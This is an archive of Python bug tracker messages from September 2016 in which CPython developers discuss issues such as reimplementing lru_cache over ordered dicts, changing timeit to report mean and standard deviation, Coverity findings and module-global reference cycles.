From report at bugs.python.org  Wed Sep 21 08:55:09 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 12:55:09 +0000
Subject: [issue27990] Provide a way to enable getrandom on Linux even when
 build system runs an older kernel
In-Reply-To: <1473216399.07.0.223374788136.issue27990@psf.upfronthosting.co.za>
Message-ID: <1474462509.45.0.805550571332.issue27990@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Ok, I changed the status to WONTFIX.

----------
resolution: not a bug -> wont fix

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27990>
_______________________________________

From report at bugs.python.org  Wed Sep 21 08:55:58 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 12:55:58 +0000
Subject: [issue28233] PyUnicode_FromFormatV can leak PyUnicodeWriter
In-Reply-To: <1474451698.31.0.974245540341.issue28233@psf.upfronthosting.co.za>
Message-ID: <1474462558.02.0.801363636509.issue28233@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Thanks for the report, it should be fixed now.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28233>
_______________________________________

From report at bugs.python.org  Wed Sep 21 08:57:59 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 21 Sep 2016 12:57:59 +0000
Subject: [issue28214] Improve exception reporting for problematic __set_name__
 attributes
In-Reply-To: <1474375122.62.0.719507311947.issue28214@psf.upfronthosting.co.za>
Message-ID: <20160921125756.19924.57923.3D13D514@psf.io>


Roundup Robot added the comment:

New changeset 1a2b8398f045 by Serhiy Storchaka in branch '3.6':
Issue #28214: Now __set_name__ is looked up on the class instead of the
https://hg.python.org/cpython/rev/1a2b8398f045

New changeset 2a5280db601c by Serhiy Storchaka in branch 'default':
Issue #28214: Now __set_name__ is looked up on the class instead of the
https://hg.python.org/cpython/rev/2a5280db601c

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28214>
_______________________________________

From report at bugs.python.org  Wed Sep 21 09:00:16 2016
From: report at bugs.python.org (INADA Naoki)
Date: Wed, 21 Sep 2016 13:00:16 +0000
Subject: [issue28042] Coverity Scan defects in new dict code
In-Reply-To: <1473419470.64.0.526476875615.issue28042@psf.upfronthosting.co.za>
Message-ID: <1474462816.84.0.873438541421.issue28042@psf.upfronthosting.co.za>


INADA Naoki added the comment:

Thanks.  It seems coverity doesn't understand assert(j >= 0);
Can I tell it to coverity from source code?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28042>
_______________________________________

From report at bugs.python.org  Wed Sep 21 09:02:06 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 21 Sep 2016 13:02:06 +0000
Subject: [issue28042] Coverity Scan defects in new dict code
In-Reply-To: <1473419470.64.0.526476875615.issue28042@psf.upfronthosting.co.za>
Message-ID: <1474462926.83.0.688965702639.issue28042@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Coverity ignores asserts() because they are not in the final code. If you are sure that 'j' can never be < 0, then I can simply ignore the issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28042>
_______________________________________

From report at bugs.python.org  Wed Sep 21 09:07:46 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 21 Sep 2016 13:07:46 +0000
Subject: [issue27010] email library could "recover" from bad mime boundary
 like (some?) email clients do
In-Reply-To: <1463067718.45.0.558318505018.issue27010@psf.upfronthosting.co.za>
Message-ID: <1474463266.3.0.914500203503.issue27010@psf.upfronthosting.co.za>


R. David Murray added the comment:

Hmm.  Thanks for the links.  That[*] implies that "fixing" this would be *introducing* a security vulnerability...unless one was trying to implement a virus/spam scanner in Python.  So perhaps this should be controlled by a policy switch.

[*] The third of those links is the most useful one to read.

----------
stage: patch review -> needs patch
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27010>
_______________________________________

From report at bugs.python.org  Wed Sep 21 09:11:15 2016
From: report at bugs.python.org (INADA Naoki)
Date: Wed, 21 Sep 2016 13:11:15 +0000
Subject: [issue28042] Coverity Scan defects in new dict code
In-Reply-To: <1473419470.64.0.526476875615.issue28042@psf.upfronthosting.co.za>
Message-ID: <1474463475.5.0.875024345454.issue28042@psf.upfronthosting.co.za>


INADA Naoki added the comment:

OK, I ignored it on Coverity site.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28042>
_______________________________________

From report at bugs.python.org  Wed Sep 21 09:14:49 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 21 Sep 2016 13:14:49 +0000
Subject: [issue28042] Coverity Scan defects in new dict code
In-Reply-To: <1473419470.64.0.526476875615.issue28042@psf.upfronthosting.co.za>
Message-ID: <1474463689.67.0.44542478433.issue28042@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Perfect :)

----------
resolution:  -> not a bug
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28042>
_______________________________________

From report at bugs.python.org  Wed Sep 21 09:16:16 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 13:16:16 +0000
Subject: [issue28214] Improve exception reporting for problematic __set_name__
 attributes
In-Reply-To: <1474375122.62.0.719507311947.issue28214@psf.upfronthosting.co.za>
Message-ID: <1474463776.76.0.33117849311.issue28214@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Now we need other reproducer for an exception.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28214>
_______________________________________

From report at bugs.python.org  Wed Sep 21 09:21:01 2016
From: report at bugs.python.org (Fedele Mantuano)
Date: Wed, 21 Sep 2016 13:21:01 +0000
Subject: [issue27010] email library could "recover" from bad mime boundary
 like (some?) email clients do
In-Reply-To: <1463067718.45.0.558318505018.issue27010@psf.upfronthosting.co.za>
Message-ID: <1474464061.15.0.419515793796.issue27010@psf.upfronthosting.co.za>


Fedele Mantuano added the comment:

I developed a library that can get that malformed email part, but to get it I used the not correct type of defect "StartBoundaryNotFoundDefect" (https://github.com/SpamScope/mail-parser/blob/develop/mailparser/__init__.py#L44).
With this patch, I could get malformed email part with the correct defect.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27010>
_______________________________________

From report at bugs.python.org  Wed Sep 21 09:52:12 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 13:52:12 +0000
Subject: [issue28239] Implement functools.lru_cache() using ordered dict
Message-ID: <1474465931.98.0.374027560088.issue28239@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Since dict became ordered, this feature can be used in functools.lru_cache() implementation instead of linked list. This significantly simplifies the code.

The first implementation just uses _PyDict_GetItem_KnownHash() + _PyDict_DelItem_KnownHash() + _PyDict_SetItem_KnownHash() for moving existent key-value pair to the end of the dict.

The second implementation adds replaces the first two calls with one call of newly added _PyDict_PopItem_KnownHash() (this is just simplified copy of _PyDict_PopItem()).

The third implementation merges all three operations in one function _PyDict_MoveToEnd_KnownHash() that returns moved value if it exists, NULL without an exception set if there is no such key in a dict, and NULL with an exception set in case of error. Maybe this implementation is can be more optimized.

Benchmarking hits:

$ ./python -m perf timeit -s "from functools import lru_cache; f = lru_cache(512)(lambda x: x); a = list(range(500))*100" -- "list(map(f, a))"

Unpatched:    Median +- std dev: 13.5 ms +- 0.8 ms
get-del-set:  Median +- std dev: 21.7 ms +- 0.8 ms
pop-set:      Median +- std dev: 17.0 ms +- 0.6 ms
move_to_end:  Median +- std dev: 13.7 ms +- 0.5 ms

Benchmarking misses:

$ ./python -m perf timeit -s "from functools import lru_cache; f = lru_cache(512)(lambda x: x); a = list(range(50000))" -- "list(map(f, a))

Unpatched:    Median +- std dev: 31.5 ms +- 1.8 ms
get-del-set:  Median +- std dev: 58.6 ms +- 1.0 ms
pop-set:      Median +- std dev: 59.7 ms +- 1.1 ms
move_to_end:  Median +- std dev: 99.0 ms +- 0.5 ms

The get-del-set implementation is simple and don't need adding new functions to PyDict API, but it is 60-90% slower the baseline linked-list-based implementation. The pop-set implementation is slightly faster for hits. The move_to_end implementation is as fast as the baseline implementation for hits, but is much slower in case of misses (I think it can be tuned).

----------
components: Extension Modules
files: lru_cache-get-del-set.patch
keywords: patch
messages: 277141
nosy: eric.snow, haypo, methane, rhettinger, serhiy.storchaka
priority: low
severity: normal
status: open
title: Implement functools.lru_cache() using ordered dict
type: enhancement
versions: Python 3.7
Added file: http://bugs.python.org/file44777/lru_cache-get-del-set.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28239>
_______________________________________

From report at bugs.python.org  Wed Sep 21 09:52:28 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 13:52:28 +0000
Subject: [issue28239] Implement functools.lru_cache() using ordered dict
In-Reply-To: <1474465931.98.0.374027560088.issue28239@psf.upfronthosting.co.za>
Message-ID: <1474465948.44.0.919386930025.issue28239@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


Added file: http://bugs.python.org/file44778/lru_cache-pop-set.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28239>
_______________________________________

From report at bugs.python.org  Wed Sep 21 09:52:43 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 13:52:43 +0000
Subject: [issue28239] Implement functools.lru_cache() using ordered dict
In-Reply-To: <1474465931.98.0.374027560088.issue28239@psf.upfronthosting.co.za>
Message-ID: <1474465963.08.0.306220620616.issue28239@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


Added file: http://bugs.python.org/file44779/lru_cache-move_to_end.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28239>
_______________________________________

From report at bugs.python.org  Wed Sep 21 10:00:34 2016
From: report at bugs.python.org (Ezio Melotti)
Date: Wed, 21 Sep 2016 14:00:34 +0000
Subject: [issue28239] Implement functools.lru_cache() using ordered dict
In-Reply-To: <1474465931.98.0.374027560088.issue28239@psf.upfronthosting.co.za>
Message-ID: <1474466434.15.0.875185799783.issue28239@psf.upfronthosting.co.za>


Changes by Ezio Melotti <ezio.melotti at gmail.com>:


----------
nosy: +ezio.melotti

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28239>
_______________________________________

From report at bugs.python.org  Wed Sep 21 10:08:51 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 14:08:51 +0000
Subject: [issue28240] Enhance the timeit module
Message-ID: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za>


New submission from STINNER Victor:

Attached patch makes different changes to the timeit module:

* Display the average, rather than the minimum, of the timings *and* display the standard deviation. It should help a little bit to get more reproductible results.
* Change the default repeat from 3 to 5 to have a better distribution of timings. It makes the timeit CLI 66% slower (ex: 1 second instead of 600 ms). That's the price of stable benchmarks :-)
* Don't disable the garbage collector anymore! Disabling the GC is not fair: real applications use it.
* autorange: start with 1 loop instead of 10 for slow benchmarks like time.sleep(1)
* Display large number of loops as power of 10 for readability, ex: "10^6" instead of "1000000". Also accept "10^6" syntax for the --num parameter.
* Add support for "ns" unit: nanoseconds (10^-9 second)

I consider that these changes are well contained enough to still be ok for 3.6 beta 2. But I add Ned Deily as CC to double check ;-)


This patch is related to my work on Python benchmarks, see:

* http://perf.readthedocs.io/en/latest/
* https://github.com/python/performance

The perf module runs benchmarks in multiple child processes to test different memory layouts (Linux uses ASRL by default) and different hash functions. It helps to get more stable benchmark results, but it's probably overkill for the tiny timeit module. By the way, the "pyperf timeit" command reuses the timeit module of the stdlib.


Note: The timeit module still uses the old getopt module which is very strict. For example "python3 -m timeit pass -v" is not recognized ("-v" is read as a statement part of the benchmark, not as --verbose). But I was too lazy to also modify this part, I may do it later ;-)

----------
components: Benchmarks
files: timeit.patch
keywords: patch
messages: 277142
nosy: brett.cannon, fijall, haypo, ned.deily, pitrou, serhiy.storchaka, yselivanov
priority: normal
severity: normal
status: open
title: Enhance the timeit module
type: performance
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44780/timeit.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Wed Sep 21 10:09:05 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 14:09:05 +0000
Subject: [issue28240] Enhance the timeit module: diplay average +- std dev
 instead of minimum
In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za>
Message-ID: <1474466945.93.0.503151873623.issue28240@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
title: Enhance the timeit module -> Enhance the timeit module: diplay average +- std dev instead of minimum

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Wed Sep 21 10:09:08 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 14:09:08 +0000
Subject: [issue28240] Enhance the timeit module: display average +- std dev
 instead of minimum
In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za>
Message-ID: <1474466948.62.0.880842347696.issue28240@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
title: Enhance the timeit module: diplay average +- std dev instead of minimum -> Enhance the timeit module: display average +- std dev instead of minimum

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Wed Sep 21 10:13:53 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 14:13:53 +0000
Subject: [issue28240] Enhance the timeit module: display average +- std dev
 instead of minimum
In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za>
Message-ID: <1474467233.23.0.707595151151.issue28240@psf.upfronthosting.co.za>


STINNER Victor added the comment:

The perf module displays the median rather than the mean (arithmeric average). The difference between median and mean is probably too subtle for most users :-/ The term "median" is also probably unknown by most users...

I chose to use average: well known, easy to understand (we learn the formula at school: sum/count).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Wed Sep 21 10:16:39 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 14:16:39 +0000
Subject: [issue28240] Enhance the timeit module: display average +- std dev
 instead of minimum
In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za>
Message-ID: <1474467399.93.0.0364338400962.issue28240@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> * Display the average, rather than the minimum, of the timings *and* display the standard deviation. It should help a little bit to get more reproductible results.

Rationale:

* http://blog.kevmod.com/2016/06/benchmarking-minimum-vs-average/
* https://haypo.github.io/journey-to-stable-benchmark-average.html

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Wed Sep 21 10:17:20 2016
From: report at bugs.python.org (Antoine Pitrou)
Date: Wed, 21 Sep 2016 14:17:20 +0000
Subject: [issue28240] Enhance the timeit module: display average +- std dev
 instead of minimum
In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za>
Message-ID: <1474467440.04.0.431120622064.issue28240@psf.upfronthosting.co.za>


Changes by Antoine Pitrou <pitrou at free.fr>:


----------
nosy: +tim.peters

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Wed Sep 21 10:19:11 2016
From: report at bugs.python.org (Antoine Pitrou)
Date: Wed, 21 Sep 2016 14:19:11 +0000
Subject: [issue28240] Enhance the timeit module: display average +- std dev
 instead of minimum
In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za>
Message-ID: <1474467551.05.0.028982912498.issue28240@psf.upfronthosting.co.za>


Antoine Pitrou added the comment:

> Display the average, rather than the minimum, of the timings *and* display the standard deviation. It should help a little bit to get more reproductible results

That entirely depends on which benchmark you are running.

> Disabling the GC is not fair: real applications use it

timeit was never meant to benchmark real applications, it is a micro-benchmarking tool.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Wed Sep 21 10:20:43 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 14:20:43 +0000
Subject: [issue28240] Enhance the timeit module: display average +- std dev
 instead of minimum
In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za>
Message-ID: <1474467643.8.0.892269378533.issue28240@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Maciej Fijalkowski also sent me the following article a few months ago, it also explains indirectly why using the minimum for benchmarks is not reliable:

"Virtual Machine Warmup Blows Hot and Cold"
http://arxiv.org/pdf/1602.00602.pdf

Even if the article is more focused on JIT compilers, it shows that benchmarks are not straightforward but always full of bad surprises.

A benchmark doesn't have a single value but a *distribution*. The best question is how to summarize the full distribution without loosing too much information.

In the perf module I decided to not take a decision: a JSON file stores *all* data :-D But by default, perf displays mean +- std dev.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Wed Sep 21 10:23:35 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 21 Sep 2016 14:23:35 +0000
Subject: [issue28205] Add optional suffix to str.join
In-Reply-To: <1474284097.7.0.704735249593.issue28205@psf.upfronthosting.co.za>
Message-ID: <1474467815.34.0.921639942712.issue28205@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee:  -> rhettinger
components: +Documentation
priority: normal -> low

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28205>
_______________________________________

From report at bugs.python.org  Wed Sep 21 10:24:30 2016
From: report at bugs.python.org (Antoine Pitrou)
Date: Wed, 21 Sep 2016 14:24:30 +0000
Subject: [issue28240] Enhance the timeit module: display average +- std dev
 instead of minimum
In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za>
Message-ID: <1474467870.23.0.434013205679.issue28240@psf.upfronthosting.co.za>


Antoine Pitrou added the comment:

Another point: timeit is often used to compare performance between Python versions. By changing the behaviour of timeit in a given Python version, you'll make it more difficult to compare results.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Wed Sep 21 10:33:27 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Wed, 21 Sep 2016 14:33:27 +0000
Subject: [issue28240] Enhance the timeit module
In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za>
Message-ID: <20160921143321.GV22471@ando.pearwood.info>


Steven D'Aprano added the comment:

> * Display the average, rather than the minimum, of the timings *and* 
> display the standard deviation. It should help a little bit to get 
> more reproductible results.

I'm still not convinced that the average is the right statistic to use 
here. I cannot comment about Victor's perf project, but for timeit, it 
seems to me that Tim's original warning that the mean is not useful is 
correct.

Fundamentally, the problem with taking an average is that the timing 
errors are all one sided. If the unknown "true" or "real" time taken by 
a piece of code is T, then the random error epsilon is always positive: 
we're measuring T + ?, not T ? ?.

If the errors are evenly divided into positive and negative, then on 
average the mean() or median() of the measurements will tend to cancel 
the errors, and you get a good estimate of T. But if the errors are all 
one-sided, then they don't cancel and you are actually estimating T plus 
some unknown, average error. In that case, min() is the estimate which 
is closest to T.

Unless you know that average error is tiny compared to T, I don't think 
the average is very useful. Since these are typically micro-benchmarks, 
the error is often quite large relative to the unknown T.

> * Change the default repeat from 3 to 5 to have a better distribution 
> of timings. It makes the timeit CLI 66% slower (ex: 1 second instead 
> of 600 ms). That's the price of stable benchmarks :-)

I nearly always run with repeat=5, so I agree with this.

> * Don't disable the garbage collector anymore! Disabling the GC is not 
> fair: real applications use it.

But that's just adding noise: you're not timing code snippet, you're 
timing code snippet plus garbage collector.

I disagree with this change, although I would accept it if there was an 
optional flag to control the gc.

> * autorange: start with 1 loop instead of 10 for slow benchmarks like 
> time.sleep(1)

That seems reasonable.

> * Display large number of loops as power of 10 for readability, ex: 
> "10^6" instead of "1000000". Also accept "10^6" syntax for the --num 
> parameter.

Shouldn't we use 10**6 or 1e6 rather than bitwise XOR? :-)

This is aimed at Python programmers. We expect ** to mean 
exponentiation, not ^.

> * Add support for "ns" unit: nanoseconds (10^-9 second)

Seems reasonable.

----------
nosy: +steven.daprano
title: Enhance the timeit module: display average +- std dev instead of minimum -> Enhance the timeit module

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Wed Sep 21 10:34:00 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 21 Sep 2016 14:34:00 +0000
Subject: [issue28239] Implement functools.lru_cache() using ordered dict
In-Reply-To: <1474465931.98.0.374027560088.issue28239@psf.upfronthosting.co.za>
Message-ID: <1474468440.6.0.917384178768.issue28239@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee:  -> rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28239>
_______________________________________

From report at bugs.python.org  Wed Sep 21 10:41:42 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 14:41:42 +0000
Subject: [issue28240] Enhance the timeit module
In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za>
Message-ID: <1474468902.2.0.389158019578.issue28240@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Another point: timeit is often used to compare performance between Python versions. By changing the behaviour of timeit in a given Python version, you'll make it more difficult to compare results.

Hum, that's a good argument against my change :-)

So to be able to compare Python 3.5 vs 3.6 or Python 2.7 vs Python 3.6, we need to backport somehow the average feature to the timeit module of older Python versions. One option would be to put the timeit module on the Python Cheeseshop (PyPI). Hum, but there is already such module: my perf module.

A solution would be to redirect users to the perf module in the timeit documentation, and maybe also document that timeit results are not reliable?

A different solution would be to add a --python parameter to timeit to run the benchmark on a specific Python version (ex: "python3 -m timeit --python=python2 ..."). But this solution is more complex to be developed since we have to make the timeit.py compatible with Python 2.7 and find a reliable way to load it in the other tested Python program.

Note: I plan to add a --python parameter in my perf module, but I didn't implemented yet. Since my perf module spawn child processes and the perf module is a third party module, it is simpler to implement this option.

--

A more general remark: the timeit is commonly used to compare performances of two Python versions. They run timeit twice and then compare manually results. But only two numbers are compared. It would be more reliable to compare all timings and make sure that the comparison is significant. Again, the perf module implements such function:
http://perf.readthedocs.io/en/latest/api.html#perf.is_significant

I didn't implement a full CLI for perf timeit to directly compares two Python versions. You have to run timeit twice and store all timings in JSON files and then use the "perf compare" command to reload timings and compare them.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Wed Sep 21 10:42:20 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 21 Sep 2016 14:42:20 +0000
Subject: [issue28240] Enhance the timeit module
In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za>
Message-ID: <1474468940.4.0.257468177292.issue28240@psf.upfronthosting.co.za>


Changes by Yury Selivanov <yselivanov at gmail.com>:


----------
nosy:  -yselivanov

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Wed Sep 21 10:56:00 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 21 Sep 2016 14:56:00 +0000
Subject: [issue28100] Refactor error messages in symtable.c
In-Reply-To: <1473680584.21.0.216530190248.issue28100@psf.upfronthosting.co.za>
Message-ID: <1474469760.53.0.294316066659.issue28100@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Please rewrite the patch to use if / else if / else, e.g.

 if (cur & (DEF_LOCAL | USE | DEF_ANNOT)) {
    ...
    if (cur & USE) {
        msg = GLOBAL_AFTER_USE;
    } else if (cur & DEF_LOCAL) {
        msg = GLOBAL_AFTER_ASSIGN;
    } else {  /* DEF_ANNOT */
        msg = GLOBAL_ANNOT;
    }
    ...
}

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28100>
_______________________________________

From report at bugs.python.org  Wed Sep 21 10:58:24 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 21 Sep 2016 14:58:24 +0000
Subject: [issue28202] Python 3.5.1 C API,
 the global variable is not destroyed when delete the module
In-Reply-To: <1474261347.8.0.510026601712.issue28202@psf.upfronthosting.co.za>
Message-ID: <1474469904.37.0.720543704688.issue28202@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

The most likely relevant difference here is that Python 3.4+ no longer forcibly break cycles through the module globals when the module is deallocated: https://docs.python.org/dev/whatsnew/3.4.html#whatsnew-pep-442

Due to the implicit cycles created between function definitions and their global namespace via the __globals__ attribute on the function, this means that embedding applications will need to explicitly run a GC collection cycle after deleting a module in order to fully finalise it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28202>
_______________________________________

From report at bugs.python.org  Wed Sep 21 11:00:45 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 21 Sep 2016 15:00:45 +0000
Subject: [issue28239] Implement functools.lru_cache() using ordered dict
In-Reply-To: <1474465931.98.0.374027560088.issue28239@psf.upfronthosting.co.za>
Message-ID: <1474470045.63.0.20557894305.issue28239@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

The problem is that cache hits now create "holes" in the compact dict and trigger periodic compaction.  In contrast, the existing code leaves dicts unchanged when there is a cache hit.  

I prefer the current code. Though it took a little more effort to implement, that work is already done and done well.  The linked lists are cheap and have consistent, predictable performance.   I also like that the current implementation is only loosely coupled with dictionaries and not tightly tied to the compact dict with its evolving implementation details.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28239>
_______________________________________

From report at bugs.python.org  Wed Sep 21 11:01:53 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 21 Sep 2016 15:01:53 +0000
Subject: [issue28202] Python 3.5.1 C API,
 the global variable is not destroyed when delete the module
In-Reply-To: <1474261347.8.0.510026601712.issue28202@psf.upfronthosting.co.za>
Message-ID: <1474470113.87.0.519756623869.issue28202@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

To be entirely clear about what's going on, the reference cycle seen in the example arises for *any* module level function, even if it's completely empty:

>>> def f():
...     pass
... 
>>> f.__globals__["f"] is f
True

The existence of that cycle will then keep other module globals alive until the next garbage collection run.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28202>
_______________________________________

From report at bugs.python.org  Wed Sep 21 11:07:57 2016
From: report at bugs.python.org (Tim Graham)
Date: Wed, 21 Sep 2016 15:07:57 +0000
Subject: [issue28210] argparse with subcommands difference in python 2.7 / 3.5
In-Reply-To: <1474361034.47.0.927422929015.issue28210@psf.upfronthosting.co.za>
Message-ID: <1474470477.39.0.62379131715.issue28210@psf.upfronthosting.co.za>


Tim Graham added the comment:

Based on the usage output, it looks like the subcommand is required, but I'm not sure if there are cases where a subcommand could be optional. David, can you advise?

usage: test_argparse.py [-h] command ...

----------
nosy: +r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28210>
_______________________________________

From report at bugs.python.org  Wed Sep 21 11:12:53 2016
From: report at bugs.python.org (artxyz)
Date: Wed, 21 Sep 2016 15:12:53 +0000
Subject: [issue28241] Nested fuctions Unexpected behaviour when stored in a
 list and called after.
Message-ID: <1474470773.2.0.761547544618.issue28241@psf.upfronthosting.co.za>


New submission from artxyz:

Python 2.7.11
GCC 4.8.4

Getting weird results when define a nested function in a loop and store them in a list

    x = list()
    for i in xrange(5):
        def FUN():
            print i
        x.append(FUN)

Calling functions from list using index works fine:

    for i in xrange(5):
        print x[i]
        x[i]()
    # prints 0 1 2 3 4

Calling function using iteration through the sequence yields  wrong results, despite current function (f) changes:

    for f in x:
        print f
        f()
    # prints 4 4 4 4 4

----------
components: Interpreter Core
files: nested_fun_bug.py
messages: 277155
nosy: artxyz
priority: normal
severity: normal
status: open
title: Nested fuctions Unexpected behaviour when stored in a list and called after.
type: behavior
versions: Python 2.7
Added file: http://bugs.python.org/file44781/nested_fun_bug.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28241>
_______________________________________

From report at bugs.python.org  Wed Sep 21 11:13:00 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 21 Sep 2016 15:13:00 +0000
Subject: [issue28197] range.index mismatch with documentation
In-Reply-To: <1474231832.91.0.157673750963.issue28197@psf.upfronthosting.co.za>
Message-ID: <1474470780.82.0.601953638785.issue28197@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

> I'd argue that range can implement the 3-arg .index much better 
> than generic Sequence.

Yes, the range index() method should implement all three arguments.  That shouldn't be difficult.

----------
assignee: docs at python -> 
type: behavior -> enhancement
versions:  -Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28197>
_______________________________________

From report at bugs.python.org  Wed Sep 21 11:17:35 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 15:17:35 +0000
Subject: [issue28240] Enhance the timeit module
In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za>
Message-ID: <1474471055.77.0.613588138736.issue28240@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

